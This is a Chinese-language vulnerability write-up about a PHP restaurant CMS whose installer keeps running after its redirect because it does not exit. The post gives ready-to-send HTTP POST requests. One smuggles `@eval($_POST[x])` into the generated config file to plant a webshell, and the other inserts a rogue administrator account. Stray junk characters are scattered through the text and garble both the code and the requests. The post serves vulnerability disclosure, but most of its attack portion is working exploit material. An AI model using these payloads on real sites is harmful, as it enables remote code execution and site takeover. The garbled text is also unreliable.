问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。1 x# L7 g$ I. r
6 Z9 B: r- ?6 T<?php/ P& z; x. V( Y7 A
if(file_exists("../install.lock"))
' T3 @" P8 Q$ z; `/ p7 A; w{
3 _8 p3 r. W: b- W6 ~1 Q5 b header("Location: ../");//没有退出3 y. \' N0 ~) Y: R Z7 s
}9 ]' n* \5 p* X$ @( I
( \ w3 ?" t' _ e. p//echo 'tst';exit;* \2 D; m* W E( ?4 W
require_once("init.php");
2 z& r/ g5 o; L7 K7 |if(empty($_REQUEST['step']) || $_REQUEST['step']==1)5 ^) a# V) [$ {7 Y
{
8 }* r6 R+ L$ P9 R0 y2 x' K可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。# |& s# X" Y0 Q1 P* C$ O3 {2 a
, j. L6 e' y* C; L4 r& Z
1、getshell(很危险)" i- v2 k0 T$ m3 Y( ~; d$ ^9 ~
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)1 M/ G& |/ ]5 t9 W, D. E4 l9 ^
{
2 o3 ~" t7 n/ E$smarty->assign("step",1);( b8 n) N1 o0 U* X# E: Y- }) s
$smarty->display("index.html");
, ~3 d& O4 }, p# a- L: o}elseif($_REQUEST['step']==2)" |; ~9 ?# O: m+ i3 K# c
{5 f) |) }. f6 a
$mysql_host=trim($_POST['mysql_host']);: f: s+ {; r) `! h1 G. Z' v
$mysql_user=trim($_POST['mysql_user']);% D& f |# O4 o# q8 H- x
$mysql_pwd=trim($_POST['mysql_pwd']);6 N; O3 d: q- O2 A* ~) L3 e7 {) N
$mysql_db=trim($_POST['mysql_db']);
& d2 T$ [6 W% L; [; ~7 Q $tblpre=trim($_POST['tblpre']);# g: `7 j$ z) q% Q3 ^# [+ l
$domain==trim($_POST['domain']);2 \3 M1 R) P4 Y, l' n$ i
$str="<?php \r\n";
5 l" v7 I' X1 l- J $str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";9 {* p7 F& I B( ]2 @: k6 C1 q
$str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";
" E- }' h$ V! B4 \ $str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";
. H D/ w+ T3 v; j# U& \ $str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";
. P5 N4 C- n4 D8 | $str.='define("MYSQL_CHARSET","GBK");'."\r\n";" {6 I6 i6 c2 D; C3 u$ J& W
$str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";6 N6 V" A7 a/ \- S0 @! {6 K" ~0 I# T
$str.='define("DOMAIN","'.$domain.'");'."\r\n";
$ O$ S8 I5 b- ^5 j) U5 q' H# r $str.='define("SKINS","default");'."\r\n";
7 V) `9 @) t3 G! e: ^9 ] $str.='?>';; S# v7 r4 N3 m# }( _
file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件
6 P' e5 W9 f0 t7 t/ T上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马; I/ E1 P( z/ m0 G
POST /canting/install/index.php?m=index&step=2 HTTP/1.1
6 A, ?* _) ] m# CHost: 192.168.80.129
# g. N" Q7 k* m3 f6 TUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
, k$ Y. _( ^ R( zAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8* g. ^, |4 ^! B2 W4 T
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
, t! L% s- y! l3 PAccept-Encoding: gzip, deflate H4 j. o. s- ?# E. [4 P
Referer: http://192.168.80.129/canting/install/index.php?step=13 d6 e- B' w# W2 c) k: c
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42" R( q6 J/ S, P+ S, D/ _
Content-Type: application/x-www-form-urlencoded
; c- p7 A7 Y, L; H& |) a8 I0 wContent-Length: 126
, d8 |- m, A/ X- Q* R ) m0 p% N2 |: L
mysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD
/ u1 m: Q! U X! ?8 |7 M但是这个方法很危险,将导致网站无法运行。
$ w7 a4 t$ u% Q' O
: z$ d) H) [! m' ?; [: u2、直接添加管理员
( R$ r# K" z" q' s6 H, r- h( U, S8 S5 N
elseif($_REQUEST['step']==5)
6 t0 A! x1 W( w{
' L5 T+ K' `, K8 h: T: d" J( Q if($_POST)
7 u' Z8 ^- b0 ?5 K8 t+ A+ z( F; | { require_once("../config/config.inc.php");# s; c+ `+ f3 E+ m4 ?* E
$link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);
# J# U6 p% @' g, w- ^0 U, Q mysql_select_db(MYSQL_DB,$link);4 D, }! Q/ A) O* H8 B3 S
mysql_query("SET NAMES ".MYSQL_CHARSET );
5 F8 g# a$ S& r% W0 I- x! s" W. C mysql_query("SET sql_mode=''");
. A( p3 e7 K4 O. B. A7 K8 r* z# i/ V/ H: {3 Y" \1 [0 N
$adminname=trim($_POST['adminname']);
& o9 ~' C8 s) O8 R {7 @: w9 ~1 m $pwd1=trim($_POST['pwd1']);
; q* ?: Z1 K# G! L6 D' M $pwd2=trim($_POST['pwd2']);' T) A7 {# Y$ Z/ c( H' `+ c! G6 L
if(empty($adminname))0 K4 r+ m. y. s+ h$ O% c5 J/ d, f
{
8 t6 Z/ _0 Y, Q/ U: C6 ~
/ |0 C: L& H+ I echo "<script>alert('管理员不能为空');history.go(-1);</script>";1 u o7 g0 @# a9 T+ [3 w8 A
exit();
) Z! O2 Q3 N% T9 Y }
6 k: l; G/ X6 a5 k if(($pwd1!=$pwd2) or empty($pwd1))8 @% }7 T9 K; d: Z h
{7 ^1 d( `9 P8 G1 |4 p
echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出
1 c, h2 L. d% p }
8 _3 _+ O* U4 j; }7 e; N! A, J mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员
1 Z3 i. A9 @6 i$ F: G; K }
- Z8 d4 l3 k6 P这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:
) M# W) |5 E X B( LPOST /canting/install/index.php?m=index&step=5 HTTP/1.1$ t+ ?5 x" Y3 w2 g+ J
Host: 192.168.80.129
. z) l. x' z; d6 N2 ~1 f% O$ H' vUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
" ?; ~8 z0 N" }; kAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
r* V/ d( M- v% a4 wAccept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
; Y1 g( c- s. Z4 ?* CAccept-Encoding: gzip, deflate8 U# v: h/ y6 f1 ?% l0 F" ?$ m2 y
Referer: http://www.2cto.com /canting/install/index.php?step=1
$ `2 b' ^9 G/ `) h+ HCookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42, D7 \! M2 {% k7 s8 r
Content-Type: application/x-www-form-urlencoded
: S; a2 x( Q3 NContent-Length: 46
; Y3 K+ ^0 S5 h! D
/ |* D) d# M& `) k, R- v$ b1 }% }adminname=qingshen&pwd1=qingshen&pwd2=qingshen
& Q+ z: t3 l% |" _$ r |